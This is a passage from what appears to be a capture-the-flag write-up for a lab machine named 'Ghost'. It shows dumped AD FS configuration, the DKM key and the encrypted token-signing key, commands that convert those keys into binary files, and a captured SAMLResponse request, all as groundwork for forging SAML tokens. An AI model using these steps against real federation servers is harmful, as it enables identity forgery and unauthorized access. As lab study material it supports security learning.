fo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i+YzJ8S+IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K+SOeIx+Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
We’ve gathered several things that’s useful to us.
DKMPKSigning Keyhttp://federation.ghost.htb/adfs/services/trust - issuer identifierhttps://core.ghost.htb:8443/adfs/saml/postResponse - sign-in endpointI’ll grab the binary of our dkmPK
1
PS /home/w1ld/ALPHA/ghost> echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' | tr -d '-' | xxd -r -p > ./dkmKey.bin
And the same for the Signing Key
1
PS /home/w1ld/ALPHA/ghost> echo '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' | base64 -d > EncryptedPfx.bin
Visiting the endpoint we’re greeted by a login page that redirects us to an AD Federation login.

Attempting to login using our justin.bradley credentials we’re greeted with the followng unauthorized page.

However taking a look at our web requests we find the POST to /adfs/saml/postResponse with the SAMLResponse value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 6747
Origin: https://federation.ghost.htb
Connection: keep-alive
Referer: https://federation.ghost.htb/
Cookie: connect.sid=s%3AAe_Kpy6kP84394IMoyDNme54D5Rg8bVJ.SeuxqejiSYl3wOQRNjHcLaOJ%2FVm2O6R4huzKSGxt86w
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Priority: u=0, i
SAMLResponse=PHNhbWxwOlJlc3BvbnNlIElEPSJfZjcxYmU3ZWYtNzU3NC00YjEyLTliN2ItNWFjZDFkMGU5MjJmIiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAyNi0wOS0yNFQxMzoxODowMy41NzVaIiBEZXN0aW5hdGlvbj0iaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzL2FkZnMvc2FtbC9wb3N0UmVzcG9uc2UiIENvbnNlbnQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjb25zZW50OnVuc3BlY2lmaWVkIiBJblJlc3BvbnNlVG89Il82YjRkOTk0OGRjZDk1MTgwNjdiYWI5YjQyYTgzYzMzYjgzYWI0NDY2IiB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj48SXNzdWVyIHhtbG5zPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxzYW1scDpTdGF0dXM%2BPHNhbWxwOlN0YXR1c0NvZGUgVmFsdWU9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpzdGF0dXM6U3VjY2VzcyIgLz48L3NhbWxwOlN0YXR1cz48QXNzZXJ0aW9uIElEPSJfYzg0OWM0OTctYzY4ZC00N2E2LTkyNTktY2MyYWI1YjE0OWUyIiBJc3N1ZUluc3RhbnQ9IjIwMjYtMDktMjRUMTM6MTg6MDMuNDUwWiIgVmVyc2lvbj0iMi4wIiB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI%2BPElzc3Vlcj5odHRwOi8vZmVkZXJhdGlvbi5naG9zdC5odGIvYWRmcy9zZXJ2aWNlcy90cnVzdDwvSXNzdWVyPjxkczpTaWduYXR1cmUgeG1sbnM6ZHM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpTaWduZWRJbmZvPjxkczpDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxkczpTaWduYXR1cmVNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxkczpSZWZlcmVuY2UgVVJJPSIjX2M4NDljNDk3LWM2OGQtNDdhNi05MjU5LWNjMmFiNWIxNDllMiI%2BPGRzOlRyYW5zZm9ybXM%2BPGRzOlRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjxkczpUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzEwL3htbC1leGMtYzE0biMiIC8%2BPC9kczpUcmFuc2Zvcm1zPjxkczpEaWdlc3RNZXRob2QgQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGVuYyNzaGEyNTYiIC8%2BPGRzOkRpZ2VzdFZhbHVlPkxvVmg2bklOVGpObFV3c0FScWtkNHNQRTBiR2hwMXVpUzIwUkhpTXpaRzA9PC9kczpEaWdlc3RWYWx1ZT48L2RzOlJlZmVyZW5jZT48L2RzOlNpZ25lZEluZm8%2BPGRzOlNpZ25hdHVyZVZhbHVlPkhEZlR4L2U5TDlrT2J4Y0RzVENYS3BVV3FhSlFmZVRETGFLWnoxa0lLcTNkc1h0TXhlQ0hMWWQ0K1BMcXV0c3M5b0RYNmFkZ2lpR1FETDJvRk11MlZVRG9zSDNDdWVoWWh3eXp3MDRGV2pKSmtMME9hem5HY2xsS2s1OE5YTDN1Uko1NHFpdFdCMXk4S01VanhKY0IxVGlvSFVGaUNBY2dKaWg0cVI4bm9TYm0rTXFEWVIvcUJaL1BCOHFlYisreHVGTUNOdGx6SmZYY1R3cktBL2NBdWRWVkNFajE0ZHJBUndVUWNydGxaYlJ2V2dEdm5DUGI1WlVMTGVhaVA3eTZRRGFjSi93d09SWHZmcGxVMkpneVB5Q0tpOHVMVDRzYXVtSGI3TFhOUXFvakVWa1VDOFpXd2pNWm02MzJOeVhDazZxQi85eGpXY2lUU0FzMm93Z1BGN0QzWWF3YlkrdE95NDJTZGoyeVZrQmROcXBDUU9hRTNuVlgxVTdnbUg5MjRTUFdJTnlwSit6bEIzMThON0JicThjL1pLM2pISzJ5aFpydGZNcnd1b3JUV29EL2hHc0kyTWgza0hYbjZMdFBSbWVLUE5ncjdQcEhwb01PSEk4N0c1cGxGSGtZVURMZ0UvOGdDdE4xUlZPTDljdVptNC9qQlRhYWhYK1daYmN4TERGc205NnVTaFU2RFRWREx2UVAyWGxnQzVFS21oaXFhNm1uQ0N1eDNwdFE2dDFRN1U5dFZXMmdTelUwcjRTWng0NWRYa2hBb21heG5XMVMrZW9ESFE2ancyUE1nR1U5QTVHVlJFR3kzK2M4TEs5M1k1ZDV2ZVhvOTc5NTRZMjJrdTZ3WVZMNkIwcmFQS0JGSlpLMTZocDJoSG5tNnduREdpTTBBQmMzZmtRPTwvZHM6U2lnbmF0dXJlVmFsdWU%2BPEtleUluZm8geG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxkczpYNTA5RGF0YT48ZHM6WDUwOUNlcnRpZmljYXRlPk1JSUU1akNDQXM2Z0F3SUJBZ0lRSkZjV3dNeWJSYTVPNCtXTzV0V29HVEFOQmdrcWhraUc5dzBCQVFzRkFEQXVNU3d3S2dZRFZRUURFeU5CUkVaVElGTnBaMjVwYm1jZ0xTQm1aV1JsY21GMGFXOXVMbWRvYjNOMExtaDBZakFnRncweU5EQTJNVGd4TmpFM01UQmFHQTh5TVRBME1EVXpNREUyTVRjeE1Gb3dMakVzTUNvR0ExVUVBeE1qUVVSR1V5QlRhV2R1YVc1bklDMGdabVZrWlhKaGRHbHZiaTVuYUc5emRDNW9kR0l3Z2dJaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQ0R3QXdnZ0lLQW9JQ0FRQytBQU9JZkVxdGxZY24xNTNMMUJ2R1FnRHlYVG5Zd1RSenNLNTkrekUxemdHS085TjVuYjhGaytkYUtwV0xRYWlIN29ESGFlbncvUWF4Qmc1cWRlRFltRDNvejhLeWFBMXlnWUJyem00d1c3RmY4N3JLOUZlNUo1L2g2VzlnNzQ5aDVCSXFQUU9wMGw2czFyZnVtT2NjTjR5Ylc5NUVXTkwwdnVRWHZDK0tRNEQ0Z01YdThtQ0dweHR2SUw4aWxOdEp1SUczT1JZU0toUmFsMHl5SmVPaEc0eGdsclpKRjE4cDl3aG5FNm9tZ2dtQTZuMnNoRGsvdHZUWWppaTVlNy9pY1dUS2tyc01DcGFLVU5rN214ZE1aaFFhYjdTbWZLclpONHBSRDdkVmc1enpJeUQ3VXpTOUNITEM2eE56cS9aMGh1YU9hSmhPU2RKU2dhdC9ic0c4bmJ4MTlIRC8reXBXOUoyTHRORnVnZFd0bVVCV0RPUUJZVmhCOFNnNFZFR2dQOWp5SXRISDJienNEZmpSZEo4RTF1TkpXUC9rUUExK3dZbE9kZExxVTNiMElzQ3ZsQThFdllXMFQxUnN1NzdvNHgvdzBnV2Iwb1FQRUl6N3o5NzNiNDk2d3FRdDNEbnlmZU8zbFhYZlpOY3ZhajVLQ1AyVHRHQitLc2hGOXBrSVB4cTdGMmdNaDdRanhqUkhzQTI5VjhqRm85Z0xEN2tQVmljYUlVZHNnaUZIbllRRjE0YTUySnRSMVY1aU4raDk1Smt1dUVxUVdEQkhBdlBFQkJaa0VaSCs1eVQrYUNGWFhYK0JwUHQzUUdqWUxlSlU4Q0ZzTXRuOFFWTFl2TGRjVlJzVW5SaC9XSGlYd0pPT0VWRUNhOXc3L3lWbmhhbENOQngxRS9sNEtRSURBUUFCTUEwR0NTcUdTSWIzRFFFQkN3VUFBNElDQVFBV1lLWlczY0RDQk82ZFQzeWZsM09jdXlwMUxWS1ZJKzlwRngvYmJXcFdqU2RoNmIzOUxUeHhEN0ZZVXRodVdQWjNyRjRHK0ZkTUZISEN4M1lwRW1VRm5FTEtzWHFoWjk4OUFYNThJLzNtYmZVbEtXZUlQTFNMa3ArZVJab01Ka3Q3azEvS1h0RGFzT1FuME5zZ1lFb3dMQkltTUNNdTl1dWpuQ21GT3dIUC9JQmhnWVFNSGg0NkJ6U1hXUDNpOFZYYnJSdERwby9jLy9PRkpoR21ubkY4WlBtaTR4dHpmU0RCcFZLcXdWTHA3OENndU14alFkK2JkVWI0NTU4OFpKNENMc1BkUlFwMzBXSjEvQ05JYWVudkpXdEEyRzVJWnc1VTBFV0NKTG9ZSldGczlpeU9hMS95NTVydVc2SjhsSUdEMHdtb0VlQ2w5Q0gxRWQ0ZHpVZFVYZjFNQkNZUDNYOTJpYXh6VUUwdXBHZC8xUW82SFR5eU9sV3VBd3JrVDJWSEVMS1ZaS09nOCtkbHk5N2d5WklmVXRRd0lrUHdObDh2bzA0Y2ZqK2h6T3ZCelBLQUFZaDE0TkxndmVBSS9EcU1uTzBPS08rdzFIQkt3NjROQkNuOGdvYXpGK1B1RmZVTzB5TkhGTDRreE1wY2FwNmlldjZnM0JYQ1NEd2ZxVFVPRXVFczdxOW9ZS2dxMnFuTlZPVEloaEluTVhCekVtNmlQMTNqZnVPb1hKZFBBbkVVWG40eTV5d0E5N3J0YkduWkVQeXgxZjFFa1gvaGJxQlA0dm9ndjlrbHRhVUVFVlhrUytoUHB4Wm1leENOckJEMXE3R0ovNTBlYllsQzBDZXY4dzZNczh0TTBPcnZwcEdZbFdydFB3ZXZFdmZpUmt3QkxHN0VNQW5MU3c9PTwvZHM6WDUwOUNlcnRpZmljYXRlPjwvZHM6WDUwOURhdGE%2BPC9LZXlJbmZvPjwvZHM6U2lnbmF0dXJlPjxTdWJqZWN0PjxTdWJqZWN0Q29uZmlybWF0aW9uIE1ldGhvZD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmNtOmJlYXJlciI%2BPFN1YmplY3RDb25maXJtYXRpb25EYXRhIEluUmVzcG9uc2VUbz0iXzZiNGQ5OTQ4ZGNkOTUxODA2N2JhYjliNDJhODNjMzNiODNhYjQ0NjYiIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxMzoyMzowMy41NzVaIiBSZWNpcGllbnQ9Imh0dHBzOi8vY29yZS5naG9zdC5odGI6ODQ0My9hZGZzL3NhbWwvcG9zdFJlc3BvbnNlIiAvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI2LTA5LTI0VDEzOjE4OjAzLjQxOVoiIE5vdE9uT3JBZnRlcj0iMjAyNi0wOS0yNFQxNDoxODowMy40MTlaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleUBnaG9zdC5odGI8L0F0dHJpYnV0ZVZhbHVlPjwvQXR0cmlidXRlPjxBdHRyaWJ1dGUgTmFtZT0iaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvY2xhaW1zL0NvbW1vbk5hbWUiPjxBdHRyaWJ1dGVWYWx1ZT5qdXN0aW4uYnJhZGxleTwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%